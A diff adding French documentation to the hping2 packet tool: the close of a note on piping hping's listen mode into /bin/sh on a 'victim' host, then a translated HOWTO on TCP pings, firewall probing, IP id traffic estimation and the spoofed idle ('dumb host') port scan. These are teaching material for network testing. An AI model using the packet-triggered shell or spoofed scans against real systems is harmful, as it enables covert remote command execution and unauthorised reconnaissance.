juste l'option -9 (--listen) et redirigez via un tube dans /bin/sh :
|
||||||
|
|
||||||
|
Mettez hping en mode listen (ndt : d'écoute) sur le système victime.
|
||||||
|
|
||||||
|
victim# hping -I eth0 -9 mysign | /bin/sh
|
||||||
|
|
||||||
|
Chaque paquet qui contient "mysign" sera traité par hping, tous les octets
|
||||||
|
qui suivent "mysign" dans les paquets seront envoyés dans la sortie
|
||||||
|
standard, ainsi par exemple je serai capable d'exécuter des commandes en
|
||||||
|
utilisant tous types de protocoles. Juste pour exemple je peux utiliser le
|
||||||
|
démon smtpd pour exécuter 'ls' sur la victime.
|
||||||
|
|
||||||
|
evil$ telnet victim 25
|
||||||
|
|
||||||
|
Trying 192.168.1.1...
|
||||||
|
Connected to nano (192.168.1.1).
|
||||||
|
Escape character is '^]'.
|
||||||
|
220 nano.marmoc.net ESMTP Sendmail
|
||||||
|
mysignls;
|
||||||
|
|
||||||
|
sur la victime vous verrez :
|
||||||
|
|
||||||
|
victim# hping -I eth0 -9 mysign | /bin/sh
|
||||||
|
hping2 listen mode
|
||||||
|
bin cdrom etc home local-home mnt root tmp var
|
||||||
|
boot dev export lib lost+found proc sbin usr
|
||||||
|
: command not found
|
||||||
|
|
||||||
|
Comme vous pouvez le voir j'utilise 'ls;' puisque sinon le shell recevra
|
||||||
|
juste ls^M. Le ";" force l'exécution de la commande (du moins avec bash et
|
||||||
|
zsh, vérifiez votre shell pour plus d'informations).
|
||||||
|
|
||||||
|
Ceci fonctionne avec tous les types de paquets IP valides non filtrés, le
|
||||||
|
niveau supérieur de protocole importe peu.
|
||||||
|
|
||||||
|
antirez <antirez@invece.org>
|
475
docs/french/HPING2-HOWTO.txt
Normal file
475
docs/french/HPING2-HOWTO.txt
Normal file
@ -0,0 +1,475 @@
|
|||||||
|
N.B. : ce HOWTO n'est pas terminé, et par endroits très bête. Je laisse cela
|
||||||
|
ici seulement parce que peut être que c'est mieux que rien.
|
||||||
|
|
||||||
|
HPING2 HOWTO
|
||||||
|
|
||||||
|
Changes Log
|
||||||
|
-----------
|
||||||
|
Aug 7 1999 vi HPING2-HOWTO.txt
|
||||||
|
Aug 8 1999 __0000, __0001, __0002, __0003
|
||||||
|
Aug 10 1999 __0004
|
||||||
|
|
||||||
|
Index
|
||||||
|
-----
|
||||||
|
[cherchez __XXXX afin de sauter au point que vous souhaitez]
|
||||||
|
|
||||||
|
__0000: Avis de copyright
|
||||||
|
__0001: Qu'est ce que hping ?
|
||||||
|
__0002: Qu'est ce que j'ai besoin de connaître de TCP/IP pour
|
||||||
|
utiliser hping ?
|
||||||
|
__0003: Premiers pas avec hping
|
||||||
|
__0004: Le champ IP id et comment scanner des ports TCP en utilisant
|
||||||
|
de l'usurpation d'adresse.
|
||||||
|
__0005: Comment tester des règles de filtrage. (A faire)
|
||||||
|
__0006: Comment transférer des fichier au travers de firewalls. (A
|
||||||
|
faire)
|
||||||
|
|
||||||
|
__000A: Exemple d'utilisation de hping (A faire)
|
||||||
|
|
||||||
|
__0000: Avis de copyright, Licence, et tout ce genre de choses
|
||||||
|
|
||||||
|
Copyright (C) Salvatore Sanfilippo, 1999.
|
||||||
|
|
||||||
|
La permission est accordée de faire et distribuer des copies de ce manuel
|
||||||
|
à condition que l'avis de copyright et cet avis de permission soient
|
||||||
|
préservés sur toutes les copies.
|
||||||
|
|
||||||
|
Permission est accordée de copier et distribuer des versions modifiées de
|
||||||
|
ce manuel sous les conditions de copie verbatim, à condition que le
|
||||||
|
travail dérivé soit distribué sous les termes d'un avis de permission
|
||||||
|
identique à celui-ci. Les traductions tombent dans la catégorie des
|
||||||
|
''versions modifiées.''
|
||||||
|
|
||||||
|
Garantie : Aucune.
|
||||||
|
|
||||||
|
Recommandations : les redistributions commerciales sont autorisées et
|
||||||
|
encouragées; cependant, il est fortement recommandé que le redistributeur
|
||||||
|
contacte l'auteur avant redistribution, dans l'intérêt de garder les
|
||||||
|
choses à jour (vous pouvez m'envoyer une copie de ce que vous faites
|
||||||
|
pendant que vous y êtes). Les traducteurs sont également encouragés à
|
||||||
|
contacter l'auteur avant traduction. Le version imprimée aura plus
|
||||||
|
d'allure.
|
||||||
|
Recyclez.
|
||||||
|
|
||||||
|
__0001 : Qu'est ce que hping ?
|
||||||
|
|
||||||
|
Hping est un logiciel pour tester des piles TCP/IP, pour découvrir des
|
||||||
|
politiques de firewalls, pour scanner les ports TCP de nombreuses manières
|
||||||
|
différentes, pour transférer les fichiers au travers de firewalls et
|
||||||
|
beaucoup d'autres choses. En utilisant hping vous pouvez même faire
|
||||||
|
beaucoup de choses qui ne concernent pas la sécurité. Par exemples vous
|
||||||
|
pouvez tester les performances réseau, vérifier si un système tourne,
|
||||||
|
vérifier si le champ TOS est géré, etc.
|
||||||
|
|
||||||
|
__0002 : Qu'est ce que j'ai besoin de connaître de TCP/IP pour utiliser
|
||||||
|
hping ?
|
||||||
|
|
||||||
|
Si vous connaissez TCP/IP vous trouverez hping très utile, sinon vous
|
||||||
|
pouvez utiliser hping seulement pour faire des tests connus. Voir __000A
|
||||||
|
pour quelques exemples.
|
||||||
|
|
||||||
|
__0003 : Premiers pas avec hping
|
||||||
|
|
||||||
|
La plus simple utilisation de hping est la suivante :
|
||||||
|
|
||||||
|
#hping host
|
||||||
|
|
||||||
|
Cette commande envoie un paquet TCP sans drapeau au port 0 du système
|
||||||
|
cible chaque seconde et montre les réponses du système. Par exemple :
|
||||||
|
|
||||||
|
# hping www.debian.org
|
||||||
|
ppp0 default routing interface selected (according to /proc)
|
||||||
|
HPING www.debian.org (ppp0 209.81.8.242): NO FLAGS are set, 40 headers + 0 data bytes
|
||||||
|
40 bytes from 209.81.8.242: flags=RA seq=0 ttl=243 id=63667 win=0 time=369.4 ms
|
||||||
|
40 bytes from 209.81.8.242: flags=RA seq=1 ttl=243 id=63719 win=0 time=420.0 ms
|
||||||
|
40 bytes from 209.81.8.242: flags=RA seq=2 ttl=243 id=63763 win=0 time=350.0 ms
|
||||||
|
[Ctrl+C]
|
||||||
|
--- www.debian.org hping statistic ---
|
||||||
|
3 packets tramitted, 3 packets received, 0% packet loss
|
||||||
|
|
||||||
|
Comme vous pouvez le voir le système répond avec un paquet TCP avec les
|
||||||
|
drapeaux RST et ACK positionnés. Ainsi vous êtes capable d'effectuer un
|
||||||
|
'ping TCP', utile quand ICMP est filtré. Par défaut le port 0 est utilisé
|
||||||
|
parce qu'il serait étrange qu'il soit à l'état LISTEN (ndt : en écoute).
|
||||||
|
Si nous envoyons un paquet TCP sans drapeau à un port à l'état LISTEN, de
|
||||||
|
nombreuses piles TCP/IP ne renverront pas de réponse. Ainsi nous sommes
|
||||||
|
capables de savoir si un port est dans l'état LISTEN. Par exemple :
|
||||||
|
|
||||||
|
# hping www.debian.org -p 80
|
||||||
|
ppp0 default routing interface selected (according to /proc)
|
||||||
|
HPING www.debian.org (ppp0 209.81.8.242): NO FLAGS are set, 40 headers + 0 data bytes
|
||||||
|
[Ctrl+C]
|
||||||
|
--- www.debian.org hping statistic ---
|
||||||
|
5 packets trasmitted, 0 packets received, 100% packet loss
|
||||||
|
|
||||||
|
Puisque le port 80 de www.debian.org est en mode LISTEN nous n'obtenons
|
||||||
|
aucune réponse.
|
||||||
|
|
||||||
|
Mais qu'arrive-t-il si nous essayons de 'hpinger' un port bloqué par un
|
||||||
|
firewall ? Cela dépend de la politique / configuration du firewall.
|
||||||
|
Habituellement nous obtenons un paquet ICMP ou rien. Par exemple :
|
||||||
|
|
||||||
|
# hping www.yahoo.com -p 79
|
||||||
|
ppp0 default routing interface selected (according to /proc)
|
||||||
|
HPING www.yahoo.com (ppp0 204.71.200.67): NO FLAGS are set, 40 headers + 0 data bytes
|
||||||
|
ICMP Packet filtered from 206.132.254.41 (pos1-0-2488M.hr8.SNV.globalcenter.net)
|
||||||
|
|
||||||
|
--- www.yahoo.com hping statistic ---
|
||||||
|
14 packets tramitted, 0 packets received, 100% packet loss
|
||||||
|
|
||||||
|
Le firewall de yahoo ne permet pas de connexion sur le port 79, donc il
|
||||||
|
répond avec un paquet ICMP Packet filtered (ICMP unreachable code 13).
|
||||||
|
Cependant il y a beaucoup de firewalls qui ignorent simplement le paquet.
|
||||||
|
Par exemple :
|
||||||
|
|
||||||
|
# hping www.microsoft.com -p 79
|
||||||
|
ppp0 default routing interface selected (according to /proc)
|
||||||
|
HPING www.microsoft.com (ppp0 207.46.130.150): NO FLAGS are set, 40 headers + 0 data bytes
|
||||||
|
|
||||||
|
--- www.microsoft.com hping statistic ---
|
||||||
|
4 packets tramitted, 0 packets received, 100% packet loss
|
||||||
|
|
||||||
|
Aucune réponse de microsoft. Est-ce que le port est bloqué ou en mode
|
||||||
|
LISTEN ? Découvrir cela est très simple. Nous essayons juste de mettre le
|
||||||
|
drapeau ACK au lieu d'envoyer un paquet TCP sans drapeau. Si le système
|
||||||
|
répond, peut-être que ce port est en mode LISTEN (mais il est possible
|
||||||
|
qu'il y ait une règle qui refuse les paquets TCP sans drapeau mais
|
||||||
|
autorise les paquets ACK).
|
||||||
|
|
||||||
|
# hping www.microsoft.com -A -p 79
|
||||||
|
ppp0 default routing interface selected (according to /proc)
|
||||||
|
HPING www.microsoft.com (ppp0 207.46.130.149): A set, 40 headers + 0 data bytes
|
||||||
|
|
||||||
|
--- www.microsoft.com hping statistic ---
|
||||||
|
3 packets tramitted, 0 packets received, 100% packet loss
|
||||||
|
|
||||||
|
Toujours pas de réponse, ainsi ce port semble être filtré. Quoi qu'il en
|
||||||
|
soit, il est possible que microsoft utilise un firewall 'intelligent' qui
|
||||||
|
sait que pour me connecter je dois d'abord envoyer un paquet SYN.
|
||||||
|
|
||||||
|
# hping www.microsoft.com -S -p 79
|
||||||
|
ppp0 default routing interface selected (according to /proc)
|
||||||
|
HPING www.microsoft.com (ppp0 207.46.130.149): S set, 40 headers + 0 data bytes
|
||||||
|
|
||||||
|
--- www.microsoft.com hping statistic ---
|
||||||
|
3 packets tramitted, 0 packets received, 100% packet loss
|
||||||
|
|
||||||
|
Ok.. il semble que le port 79 de microsoft est réellement filtré.
|
||||||
|
Pour clarification nous envoyons quelques paquets ACK au port 80 de
|
||||||
|
www.debian.org :
|
||||||
|
|
||||||
|
# hping www.debian.org -p 80 -A
|
||||||
|
ppp0 default routing interface selected (according to /proc)
|
||||||
|
HPING www.debian.org (ppp0 209.81.8.242): A set, 40 headers + 0 data bytes
|
||||||
|
40 bytes from 209.81.8.242: flags=R seq=0 ttl=243 id=5590 win=0 time=379.5 ms
|
||||||
|
40 bytes from 209.81.8.242: flags=R seq=1 ttl=243 id=5638 win=0 time=370.0 ms
|
||||||
|
40 bytes from 209.81.8.242: flags=R seq=2 ttl=243 id=5667 win=0 time=360.0 ms
|
||||||
|
|
||||||
|
--- www.debian.org hping statistic ---
|
||||||
|
3 packets tramitted, 3 packets received, 0% packet loss
|
||||||
|
|
||||||
|
Nous pouvons voir les réponses même si le port 80 est en mode LISTEN parce
|
||||||
|
qu'un port en mode LISTEN ne devrait pas répondre à des paquets TCP avec
|
||||||
|
seulement un drapeau NULL, FIN, Xmas, ou Ymas. ACK et RST sont deux
|
||||||
|
drapeaux TCP importants qui permettent de tester des ACL (ndt : listes de
|
||||||
|
contrôle d'accès) et de deviner le champ ip->id en ne laissant pas de
|
||||||
|
trace dans les journaux (généralement).
|
||||||
|
|
||||||
|
__0004 : Le champ IP id et comment scanner des ports TCP en utilisant de
|
||||||
|
l'usurpation d'adresse.
|
||||||
|
|
||||||
|
Chaque paquet IP est identifié par un champ id de 16 bits. Grâce à ce
|
||||||
|
champ id les piles IP sont capables de gérer la fragmentation. De nombreux
|
||||||
|
OS traitent ip->id trivialement : incrémenter ce champ de 1 champ pour
|
||||||
|
chaque paquet envoyé. En utilisant ce champ id vous êtes au minimum
|
||||||
|
capable d'estimer le trafic et de scanner en usurpant l'adresse source.
|
||||||
|
OpenBSD >= 2.5 et beaucoup d'autres mettent en oeuvre un champ id
|
||||||
|
aléatoire non répétitif ainsi vous ne pouvez pas jouer avec le champ
|
||||||
|
ip->id. Le champ ip->id des systèmes Windows n'est pas positionné dans le
|
||||||
|
même ordre (ndt : dans le bon ordre), donc vous devez spécifier l'option
|
||||||
|
--winid ou -W si vous utilisez hping2 contre un système Windows.
|
||||||
|
|
||||||
|
N.B. : Vous êtes capable de scanner un système avec un champ ip->id
|
||||||
|
sûre/aléatoire parce que pour spoofer vos paquets vous avez besoin
|
||||||
|
d'un système tiers avec un champ id incrémental, mais vous n'avez
|
||||||
|
pas besoin que la cible de votre scan ait un champ id incrémental.
|
||||||
|
|
||||||
|
Comment estimer le trafic d'un système en utilisant le champ ip->id ?
|
||||||
|
C'est vraiment très simple :
|
||||||
|
|
||||||
|
# hping www.yahoo.com -p 80 -A
|
||||||
|
ppp0 default routing interface selected (according to /proc)
|
||||||
|
HPING www.yahoo.com (ppp0 204.71.200.74): A set, 40 headers + 0 data bytes
|
||||||
|
40 bytes from 204.71.200.74: flags=R seq=0 ttl=53 id=29607 win=0 rtt=329.4 ms
|
||||||
|
40 bytes from 204.71.200.74: flags=R seq=1 ttl=53 id=31549 win=0 rtt=390.0 ms
|
||||||
|
40 bytes from 204.71.200.74: flags=R seq=2 ttl=53 id=33432 win=0 rtt=390.0 ms
|
||||||
|
40 bytes from 204.71.200.74: flags=R seq=3 ttl=53 id=35368 win=0 rtt=380.0 ms
|
||||||
|
40 bytes from 204.71.200.74: flags=R seq=4 ttl=53 id=37335 win=0 rtt=390.0 ms
|
||||||
|
40 bytes from 204.71.200.74: flags=R seq=5 ttl=53 id=39157 win=0 rtt=380.0 ms
|
||||||
|
40 bytes from 204.71.200.74: flags=R seq=6 ttl=53 id=41118 win=0 rtt=370.0 ms
|
||||||
|
40 bytes from 204.71.200.74: flags=R seq=7 ttl=53 id=43330 win=0 rtt=390.0 ms
|
||||||
|
|
||||||
|
--- www.yahoo.com hping statistic ---
|
||||||
|
8 packets tramitted, 8 packets received, 0% packet loss
|
||||||
|
round-trip min/avg/max = 329.4/377.4/390.0 ms
|
||||||
|
|
||||||
|
Comme vous pouvez le voir le champ id augmente. Le paquet avec le numéro
|
||||||
|
de séquence 0 possède un champ id égal à 29607, le numéro 1 à 31549, ainsi
|
||||||
|
le système www.yahoo.com a envoyé 31549-29607 = 1942 paquets en environ
|
||||||
|
une seconde. En utilisant l'option -r ou --relid, hping affiche le delta
|
||||||
|
entre les champs id des deux derniers paquets reçus.
|
||||||
|
|
||||||
|
# hping www.yahoo.com -P 80 -A -r
|
||||||
|
ppp0 default routing interface selected (according to /proc)
|
||||||
|
HPING www.yahoo.com (ppp0 204.71.200.68): A set, 40 headers + 0 data bytes
|
||||||
|
40 bytes from 204.71.200.68: flags=R seq=0 ttl=53 id=65179 win=0 rtt=327.1 ms
|
||||||
|
40 bytes from 204.71.200.68: flags=R seq=1 ttl=53 id=+1936 win=0 rtt=360.0 ms
|
||||||
|
40 bytes from 204.71.200.68: flags=R seq=2 ttl=53 id=+1880 win=0 rtt=340.0 ms
|
||||||
|
40 bytes from 204.71.200.68: flags=R seq=3 ttl=53 id=+1993 win=0 rtt=330.0 ms
|
||||||
|
40 bytes from 204.71.200.68: flags=R seq=4 ttl=53 id=+1871 win=0 rtt=350.0 ms
|
||||||
|
40 bytes from 204.71.200.68: flags=R seq=5 ttl=53 id=+1932 win=0 rtt=340.0 ms
|
||||||
|
40 bytes from 204.71.200.68: flags=R seq=6 ttl=53 id=+1776 win=0 rtt=330.0 ms
|
||||||
|
40 bytes from 204.71.200.68: flags=R seq=7 ttl=53 id=+1749 win=0 rtt=320.0 ms
|
||||||
|
40 bytes from 204.71.200.68: flags=R seq=8 ttl=53 id=+1888 win=0 rtt=340.0 ms
|
||||||
|
40 bytes from 204.71.200.68: flags=R seq=9 ttl=53 id=+1907 win=0 rtt=330.0 ms
|
||||||
|
|
||||||
|
--- www.yahoo.com hping statistic ---
|
||||||
|
10 packets tramitted, 10 packets received, 0% packet loss
|
||||||
|
round-trip min/avg/max = 320.0/336.7/360.0 ms
|
||||||
|
|
||||||
|
Évidemment si on vérifie le champ id toutes les demi-secondes plutôt que
|
||||||
|
toutes les secondes, l'incrément sera diminué de moitié.
|
||||||
|
|
||||||
|
# hping www.yahoo.com -P 80 -A -r -i u 500000
|
||||||
|
ppp0 default routing interface selected (according to /proc)
|
||||||
|
HPING www.yahoo.com (ppp0 204.71.200.68): A set, 40 headers + 0 data bytes
|
||||||
|
40 bytes from 204.71.200.68: flags=R seq=0 ttl=53 id=35713 win=0 rtt=327.0 ms
|
||||||
|
40 bytes from 204.71.200.68: flags=R seq=1 ttl=53 id=+806 win=0 rtt=310.0 ms
|
||||||
|
40 bytes from 204.71.200.68: flags=R seq=2 ttl=53 id=+992 win=0 rtt=320.0 ms
|
||||||
|
40 bytes from 204.71.200.68: flags=R seq=3 ttl=53 id=+936 win=0 rtt=330.0 ms
|
||||||
|
40 bytes from 204.71.200.68: flags=R seq=4 ttl=53 id=+987 win=0 rtt=310.0 ms
|
||||||
|
40 bytes from 204.71.200.68: flags=R seq=5 ttl=53 id=+952 win=0 rtt=320.0 ms
|
||||||
|
40 bytes from 204.71.200.68: flags=R seq=6 ttl=53 id=+918 win=0 rtt=330.0 ms
|
||||||
|
40 bytes from 204.71.200.68: flags=R seq=7 ttl=53 id=+809 win=0 rtt=320.0 ms
|
||||||
|
40 bytes from 204.71.200.68: flags=R seq=8 ttl=53 id=+881 win=0 rtt=320.0 ms
|
||||||
|
|
||||||
|
--- www.yahoo.com hping statistic ---
|
||||||
|
9 packets tramitted, 9 packets received, 0% packet loss
|
||||||
|
round-trip min/avg/max = 310.0/320.8/330.0 ms
|
||||||
|
|
||||||
|
N.B. Attention, en utilisant ip->id vous n'êtes capable que d'estimer *le
|
||||||
|
nombre de paquets envoyés/unité de temps*. Vous ne pouvez pas
|
||||||
|
toujours comparer différents systèmes. Le champ ip->id concerne
|
||||||
|
toutes les interfaces d'un système et par exemple si un système
|
||||||
|
utilise de la traduction d'adresse ou redirige les connexions TCP
|
||||||
|
vers un autre système (par exemple un firewall utilisé pour cacher un
|
||||||
|
serveur web) l'incrément du champ ip->id peut résulter en de fausses
|
||||||
|
augmentations.
|
||||||
|
|
||||||
|
En 'hpingant' les boites windows sans utiliser l'option --winid vous
|
||||||
|
verrez que les incrément sont des multiples de 256 à cause d'un ordre des
|
||||||
|
octets inversé. Ceci peut être réellement utile pour déterminer le type
|
||||||
|
d'OS.
|
||||||
|
|
||||||
|
#hping win95 -r
|
||||||
|
HPING win95 (eth0 192.168.4.41): NO FLAGS are set, 40 headers + 0 data bytes
|
||||||
|
46 bytes from 192.168.4.41: flags=RA seq=0 ttl=128 id=47371 win=0 rtt=0.5 ms
|
||||||
|
46 bytes from 192.168.4.41: flags=RA seq=1 ttl=128 id=+256 win=0 rtt=0.5 ms
|
||||||
|
46 bytes from 192.168.4.41: flags=RA seq=2 ttl=128 id=+256 win=0 rtt=0.6 ms
|
||||||
|
46 bytes from 192.168.4.41: flags=RA seq=3 ttl=128 id=+256 win=0 rtt=0.5 ms
|
||||||
|
|
||||||
|
--- win95 hping statistic ---
|
||||||
|
4 packets tramitted, 4 packets received, 0% packet loss
|
||||||
|
round-trip min/avg/max = 0.5/0.5/0.6 ms
|
||||||
|
|
||||||
|
Les systèmes windows sont "marqués", ainsi pour découvrir si un système
|
||||||
|
est un Windows vous avez juste besoin d'envoyer quelques paquets.
|
||||||
|
|
||||||
|
Comment effectuer des scans SYN spoofés en utilisant un champ id incrémental
|
||||||
|
? Ce qui suit est le message original (ndt : du moins sa traduction) à
|
||||||
|
bugtraq à propos de la méthode de scan usurpée/indirecte/passive, dessous
|
||||||
|
j'essayerai d'expliquer les détails et comment cela est possible même avec
|
||||||
|
UDP avec quelques restrictions.
|
||||||
|
|
||||||
|
---- le postage à bugtraq à propos des scans usurpés ----
|
||||||
|
|
||||||
|
Salut,
|
||||||
|
|
||||||
|
J'ai découvert une nouvelle méthode de scan de ports TCP. Au
|
||||||
|
contraire de toutes les autres elle vous permet de scanner en
|
||||||
|
utilisant des paquets usurpés (ndt : dont l'adresse IP source est
|
||||||
|
usurpée), ainsi les systèmes scannés ne peuvent pas voir votre
|
||||||
|
adresse réelle. Afin de réaliser cela j'utilise trois particularités
|
||||||
|
bien connues des mises en oeuvre TCP/IP de la plupart des OS.
|
||||||
|
|
||||||
|
(1) * les systèmes répondent SYN|ACK à SYN si le port TCP cible
|
||||||
|
est ouvert, et RST|ACK si le port TCP cible est fermé.
|
||||||
|
|
||||||
|
(2) * Vous pouvez connaître le nombre de paquets que les systèmes
|
||||||
|
envoient en utilisant le champ id de l'entête IP. Voir mes
|
||||||
|
précédents postages 'à propos de l'entête IP' dans cette mailing
|
||||||
|
liste.
|
||||||
|
|
||||||
|
(3) * les systèmes répondent RST à SYN|ACK, ne répondent rien à
|
||||||
|
RST.
|
||||||
|
|
||||||
|
|
||||||
|
Les joueurs:
|
||||||
|
|
||||||
|
système A - le système malfaisant, l'attaquant.
|
||||||
|
système B - le système silencieux.
|
||||||
|
système C - le système victime.
|
||||||
|
|
||||||
|
A est votre système.
|
||||||
|
B est un système particulier : il ne doit envoyer aucun paquet
|
||||||
|
pendant que vous scannez C. Il y a énormément de systèmes à 'trafic
|
||||||
|
nul' sur Internet, spécialement la nuit :)
|
||||||
|
C est la victime, il doit être vulnérable aux scans SYN.
|
||||||
|
|
||||||
|
J'ai appelé cette méthode de scan 'scan du système muet' (ndt :
|
||||||
|
l'autre traduction de 'dumb' est bête) en référence aux
|
||||||
|
caractéristiques du système B.
|
||||||
|
|
||||||
|
|
||||||
|
Comment elle fonctionne :
|
||||||
|
|
||||||
|
Le système A surveille le nombre de paquets sortants depuis B en
|
||||||
|
utilisant le champ id de l'entête IP. Vous pouvez faire ceci
|
||||||
|
simplement en utilisant hping :
|
||||||
|
|
||||||
|
#hping B -r
|
||||||
|
HPING B (eth0 xxx.yyy.zzz.jjj): no flags are set, 40 data bytes
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=0 ttl=64 id=41660 win=0 time=1.2 ms
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=1 ttl=64 id=+1 win=0 time=75 ms
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=2 ttl=64 id=+1 win=0 time=91 ms
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=3 ttl=64 id=+1 win=0 time=90 ms
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=4 ttl=64 id=+1 win=0 time=91 ms
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=5 ttl=64 id=+1 win=0 time=87 ms
|
||||||
|
-cut-
|
||||||
|
..
|
||||||
|
.
|
||||||
|
|
||||||
|
Comme vous pouvez le voir, les incréments du champ id sont toujours
|
||||||
|
de 1. Ainsi ce système a la caractéristique requise pour jouer le
|
||||||
|
rôle de B.
|
||||||
|
|
||||||
|
Maintenant le système A envoie des paquets SYN au port X de C en
|
||||||
|
usurpant l'adresse source de B.
|
||||||
|
(avec hping => 0.67 c'est très facile, http://www.kyuzz.org/antirez)
|
||||||
|
si le port X de C est ouvert, le système C enverra SYN|ACK à B (oui,
|
||||||
|
le système C ne sait pas que le véritable expéditeur est A). Dans ce
|
||||||
|
cas le système B répond au SYN|ACK avec un RST.
|
||||||
|
Si nous envoyons au système C quelques paquets SYN il répondra à B
|
||||||
|
quelques paquet SYN|ACK, ainsi B répondra à C quelques RST... ainsi
|
||||||
|
nous verrons que le système B est en train d'envoyer des paquets !
|
||||||
|
|
||||||
|
.
|
||||||
|
..
|
||||||
|
-cut-
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=17 ttl=64 id=+1 win=0 time=96 ms
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=18 ttl=64 id=+1 win=0 time=80 ms
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=19 ttl=64 id=+2 win=0 time=83 ms
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=20 ttl=64 id=+3 win=0 time=94 ms
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=21 ttl=64 id=+1 win=0 time=92 ms
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=22 ttl=64 id=+2 win=0 time=82 ms
|
||||||
|
-cut-
|
||||||
|
..
|
||||||
|
.
|
||||||
|
|
||||||
|
Le port est ouvert !
|
||||||
|
|
||||||
|
Par contre, si le port X de C est fermé alors en envoyant à C
|
||||||
|
quelques paquets SYN avec l'adresse usurpée de B, il répondra avec
|
||||||
|
des paquets RST à B, et B ne répondra pas (voir 3). Ainsi nous
|
||||||
|
verrons que le système B n'est en train d'envoyer aucun paquet :
|
||||||
|
|
||||||
|
.
|
||||||
|
..
|
||||||
|
-cut-
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=52 ttl=64 id=+1 win=0 time=85 ms
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=53 ttl=64 id=+1 win=0 time=83 ms
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=54 ttl=64 id=+1 win=0 time=93 ms
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=55 ttl=64 id=+1 win=0 time=74 ms
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=56 ttl=64 id=+1 win=0 time=95 ms
|
||||||
|
60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=57 ttl=64 id=+1 win=0 time=81 ms
|
||||||
|
-cut-
|
||||||
|
..
|
||||||
|
.
|
||||||
|
|
||||||
|
Le port est fermé.
|
||||||
|
|
||||||
|
Tout ceci peut paraître compliqué à réaliser, mais utiliser deux
|
||||||
|
sessions de hping dans des consoles virtuelles Linux ou sous X rend
|
||||||
|
cela plus simple.
|
||||||
|
La première session surveille le système B : hping B -r
|
||||||
|
La seconde session envoie des paquets SYN spoofés : hping C -a B -S
|
||||||
|
|
||||||
|
Désolé si mon anglais n'est pas clair.
|
||||||
|
Cependant ce postage n'est pas adéquat pour décrire exhaustivement
|
||||||
|
cette méthode de scan, ainsi je vais écrire un article à ce sujet,
|
||||||
|
en particulier comment mettre en oeuvre ceci dans un scanner de
|
||||||
|
ports (i.e. nmap), et à propos des caractéristiques des joueurs et
|
||||||
|
des OS utilisés.
|
||||||
|
|
||||||
|
bonne nouvelle année,
|
||||||
|
antirez
|
||||||
|
|
||||||
|
---- EOF ----
|
||||||
|
|
||||||
|
Comme vous pouvez le voir un scan usurpé est trivial à réaliser,
|
||||||
|
particulièrement en utilisant hping2 vous êtes capable de spécifier un
|
||||||
|
intervalle en micro secondes (-i uX) ainsi vous n'avez pas besoin que le
|
||||||
|
système B soit un système totalement passif. Vous pouvez lire l'incrément
|
||||||
|
du champ id une fois toutes les secondes en envoyant 10 paquets SYN par
|
||||||
|
seconde. Si vous envoyez un nombre adéquat de paquets SYN par seconde,
|
||||||
|
l'incrément du champ id attendu est si important que vous êtes à même de
|
||||||
|
voir si le port est ouvert ou fermé même si le système B envoie d'autres
|
||||||
|
paquets. Exemple :
|
||||||
|
|
||||||
|
# hping awake.host.org -p 80 -A -r
|
||||||
|
ppp0 default routing interface selected (according to /proc)
|
||||||
|
HPING server.alicom.com (ppp0 111.222.333.44): A set, 40 headers + 0 data bytes
|
||||||
|
40 bytes from 111.222.333.44: flags=R seq=0 ttl=249 id=47323 win=0 rtt=239.7 ms
|
||||||
|
40 bytes from 111.222.333.44: flags=R seq=1 ttl=249 id=+6 win=0 rtt=630.0 ms
|
||||||
|
40 bytes from 111.222.333.44: flags=R seq=2 ttl=249 id=+6 win=0 rtt=280.0 ms
|
||||||
|
40 bytes from 111.222.333.44: flags=R seq=3 ttl=249 id=+8 win=0 rtt=340.0 ms
|
||||||
|
40 bytes from 111.222.333.44: flags=R seq=4 ttl=249 id=+5 win=0 rtt=440.0 ms
|
||||||
|
40 bytes from 111.222.333.44: flags=R seq=5 ttl=249 id=+5 win=0 rtt=410.0 ms
|
||||||
|
40 bytes from 111.222.333.44: flags=R seq=6 ttl=249 id=+8 win=0 rtt=1509.9 ms
|
||||||
|
40 bytes from 111.222.333.44: flags=R seq=7 ttl=249 id=+4 win=0 rtt=1460.0 ms
|
||||||
|
40 bytes from 111.222.333.44: flags=R seq=8 ttl=249 id=+7 win=0 rtt=770.0 ms
|
||||||
|
40 bytes from 111.222.333.44: flags=R seq=9 ttl=249 id=+5 win=0 rtt=230.0 ms
|
||||||
|
...
|
||||||
|
|
||||||
|
comme vous pouvez le voir, ce système n'est pas inactif, il envoie environ
|
||||||
|
6 paquets chaque seconde. Maintenant scannez le port 80 de www.yahoo.com
|
||||||
|
pour voir s'il est ouvert :
|
||||||
|
|
||||||
|
root.1# hping -a server.alicom.com -S -p 80 -i u10000 www.yahoo.com
|
||||||
|
ppp0 default routing interface selected (according to /proc)
|
||||||
|
HPING www.yahoo.com (ppp0 204.71.200.74): S set, 40 headers + 0 data bytes
|
||||||
|
|
||||||
|
[attendre quelques secondes et presser CTRL+C]
|
||||||
|
|
||||||
|
--- www.yahoo.com hping statistic ---
|
||||||
|
130 packets tramitted, 0 packets received, 100% packet loss
|
||||||
|
round-trip min/avg/max = 0.0/0.0/0.0 ms
|
||||||
|
|
||||||
|
En observant la sortie de 'hping awake.host.org -p 80 -A -r' il est
|
||||||
|
simple de comprendre que le port 80 de www.yahoo.com est ouvert :
|
||||||
|
|
||||||
|
40 bytes from 111.222.333.44: flags=R seq=59 ttl=249 id=+16 win=0 rtt=380.0 ms
|
||||||
|
